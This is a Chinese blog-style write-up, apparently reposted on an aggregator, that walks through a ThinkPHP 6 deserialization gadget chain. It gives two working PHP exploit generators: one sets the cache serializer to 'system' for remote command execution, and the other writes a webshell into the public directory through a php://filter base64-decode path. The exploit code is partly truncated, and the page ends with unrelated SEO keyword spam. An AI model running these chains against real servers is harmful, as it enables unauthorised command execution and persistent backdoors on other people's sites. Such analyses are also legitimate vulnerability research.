千家信息网

如何进行thinkphp6的另反序列化分析

发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,这篇文章将为大家详细讲解有关如何进行thinkphp6的另反序列化分析,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。Forward之前分析过tp6的一
千家信息网最后更新 2026年10月31日如何进行thinkphp6的另反序列化分析

这篇文章将为大家详细讲解有关如何进行thinkphp6的另反序列化分析,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。

Forward

之前分析过tp6的一个链;当时是利用__toString方法去进行的中转,从而实现前后两个链的链接,这次是两个另外链条;利用的是可控类下的固定方法进行中转;开始分析;

首先环境可以composer一键搭建,然后php think run进行跑起来就可;

text

首先的想法就是利用析构函数进行最开始的触发;然后一路追踪魔法函数去进行一步一步的推导;首先找到魔法函数在AbstractCache类下;

protected $autosave = true;public function __destruct(){    if (! $this->autosave) {        $this->save();    }}

其代码如上;可以看到autosave可以可控;这里我们可以手动给其复制为false;从而可以触发save方法;

回溯save方法;在CacheStore中找到了save方法;具体代码如下;

public function save(){    $contents = $this->getForStorage();    $this->store->set($this->key, $contents, $this->expire);}

可以看到其调用了getForStorage方法,然后将其赋值给$contents变量。这里追随一下这个方法;

public function getForStorage()    {        $cleaned = $this->cleanContents($this->cache);        return json_encode([$cleaned, $this->complete]);}

发现首先调用了cleanContents方法;然后在调用了json_encode方法,这里首先回溯一下cleanContents方法;

public function cleanContents(array $contents)    {        $cachedProperties = array_flip([            'path', 'dirname', 'basename', 'extension', 'filename',            'size', 'mimetype', 'visibility', 'timestamp', 'type',            'md5',        ]);    foreach ($contents as $path => $object) {        if (is_array($object)) {            $contents[$path] = array_intersect_key($object, $cachedProperties);        }    }    return $contents;}

首先在这里看到了array_flip方法;这个方法是将数组的键名和键值进行替换;然后数组赋值给$cachedProperties变量;然后将我们传入的参数按照$path和$object的格式来进行各个遍历;然后将键名经过is_array方法的判断如果为true则进行后续的函数处理;否则就直接return $content这个数组;经过这一系列操作完之后,最终是return到了save函数里;然后接着去进行 $this->store->set($this->key, $contents, $this->expire);这里我们发现store也可控;那么就有两种思路,第一个就是去实例化一个有set方法的类,或者我们实例化一个存在__call方法的类;从而可以因为访问不存在的方法去调用到call魔术方法;这里我们先找到一个有set方法的类;在File类中找到:

public function set($name, $value, $expire = null): bool{    $this->writeTimes++;    if (is_null($expire)) {        $expire = $this->options['expire'];    }    $expire   = $this->getExpireTime($expire);    $filename = $this->getCacheKey($name);    $dir = dirname($filename);    if (!is_dir($dir)) {        try {            mkdir($dir, 0755, true);        } catch (\Exception $e) {            // 创建失败        }    }    $data = $this->serialize($value);    if ($this->options['data_compress'] && function_exists('gzcompress')) {        //数据压缩        $data = gzcompress($data, 3);    }    $data   = "\n" . $data;    $result = file_put_contents($filename, $data);    if ($result) {        clearstatcache();        return true;    }    return false;}

这里可利用点在后面的serialize方法;直接追溯一下;

protected function serialize($data): string{    if (is_numeric($data)) {        return (string) $data;    }     $serialize = $this->options['serialize'][0] ?? "serialize";     return $serialize($data);}

这里发现options参量可控;这里就存在一个问题,如果我们将其赋值为system,那么后续return的就是我们命令执行函数,里面的data我们是可以传入的,那么我们就可以实现RCE;

这里放出我自己写的exp;

key    = $key;        $this->store  = $store;        $this->expire = $expire;    }}}namespace think\cache{abstract class Driver{}}namespace think\cache\driver{use think\cache\Driver;class File extends Driver{    protected $options = [        'expire'        => 0,        'cache_subdir'  => false,        'prefix'        => false,        'path'          => 's1mple',        'hash_type'     => 'md5',        'serialize'     => ['system'],    ];}}namespace{$b = new think\cache\driver\File();$a = new think\filesystem\CacheStore($b,'s1mple','1111');echo urlencode(serialize($a));}

最后达到的效果就是system(xxxx);这里当时我测试没有回显,后来将代码调试了一下,发现是system里面参数的问题,后来我想到linux或者unix下反引号也是可以当做命令执行的,而且是可以首先执行的;所以我将代码改了下,嵌入反引号,这样可以更好的进行命令执行,但是这样的缺点就是可以执行,但是无回显;但是我们依然可以进行一些恶意操作;

通过这个链,相信可以发现一些端倪,除了可以rce以外,这个链在最后的利用地方还有一个file_put_contents这个也是可以利用的;

下面利用的一些骚姿势如果有师傅不太理解,可以看这个链接;[https://s1mple-top.github.io/2020/11/18/file-put-content%E5%92%8C%E6%AD%BB%E4%BA%A1%C2%B7%E6%9D%82%E7%B3%85%E4%BB%A3%E7%A0%81%E4%B9%8B%E7%BC%98/](https://s1mple-top.github.io/2020/11/18/file-put-content%E5%92%8C%E6%AD%BB%E4%BA%A1%C2%B7%E6%9D%82%E7%B3%85%E4%BB%A3%E7%A0%81%E4%B9%8B%E7%BC%98/)

下面也讲述一下;利用链和之前的是一样的;就是最后需要掌控一下filename和data的内容;我们可以看到如下图;

在最后的时候会有一个data的拼接,我本来想着在格式化那里尝试引入,但是格式化已经写死了,不能利用非法字符进行污染格式化引入危险代码;所以只能在最后的data处进行写入拼接;现在就是要控制data了;其实这里data是调用了serialize方法,追溯一下不难发现是将数组option中的serialize的键值拿出来套在了data前面;其实本质上也无大碍;但是这里有个小坑;因为是$serialize($data);所以这里要求这样的搭配必须是正确的,如果你随意传入函数,造成比如adsf($data);这样类型的不规则函数,就会导致报错,从而无法进行;

明白了这一点其实还有一个小坑;其实option的内容我们是可控的;那么我们就可以控制serialize的键值进行传入;但是这里因为之前进行了json_encode所以一般的函数最后构成的格式都无法进行base64解密;但是这里有个例外,我测试了serialize函数,发现经过序列化之后,我们可以正常进行base64解密;大概是因为可以构成字符串的原因吧;这里放出我的exp;

key    = $key;        $this->store  = $store;        $this->expire = $expire;    }}}namespace think\cache{abstract class Driver{}}namespace think\cache\driver{use think\cache\Driver;class File extends Driver{    protected $options = [        'expire'        => 0,        'cache_subdir'  => false,        'prefix'        => false,        'path'          => 'php://filter/convert.base64-decode/resource=s1mple/../',        'hash_type'     => 'md5',        'serialize'     => ['serialize'],        'data_compress' => false    ];}}namespace{$b = new think\cache\driver\File();$a = new think\filesystem\CacheStore($b,'s1mple','2333');echo urlencode(serialize($a));}

另外可能有很多师傅困惑在可写目录的问题,这里我才用了虚目录的方法将其定位到了public目录之下;就在path参数那里可以体现

最后访问结果是执行phpinfo;当然也可以写入system这样的命令执行函数;造成木马利用;

关于如何进行thinkphp6的另反序列化分析就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

方法 函数 就是 代码 格式 分析 内容 命令 数组 序列 参数 目录 问题 两个 变量 字符 实例 小坑 师傅 引号 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 广东万易互联网科技有限公司惠州分公司 广州紫鲸互联网科技有限公司 深圳恒合互联网络科技有限公司 中国互联网科技股 厦门中拓互联网络科技有限公司 互联网络科技有限公司 远信互联网科技 安徽鑫晟辉互联网科技 互联网科技类展会 甘肃拓世互联网科技有限公司 衡水科技产业互联网平台 深圳前海聚择互联网科技有限公司 互联网科技热点资讯 金融科技与互联网金融相同和不同 科技类公司包括互联网吗 深圳市罗太互联网科技有限公司 工业互联网科技创业 中国互联网公司的科技投入 悟空问答互联网科技 每日互联网科技新闻 互联网科技工作委员会 金融科技与互联网金融 互联网科技革命 广州善班互联网科技 上海电发互联网科技有限公司 开启互联网科技时代小说 沐思想互联网科技有限公司 互联网科技快讯热点 富国互联网科技002692 数字科技和互联网金融哪个好
0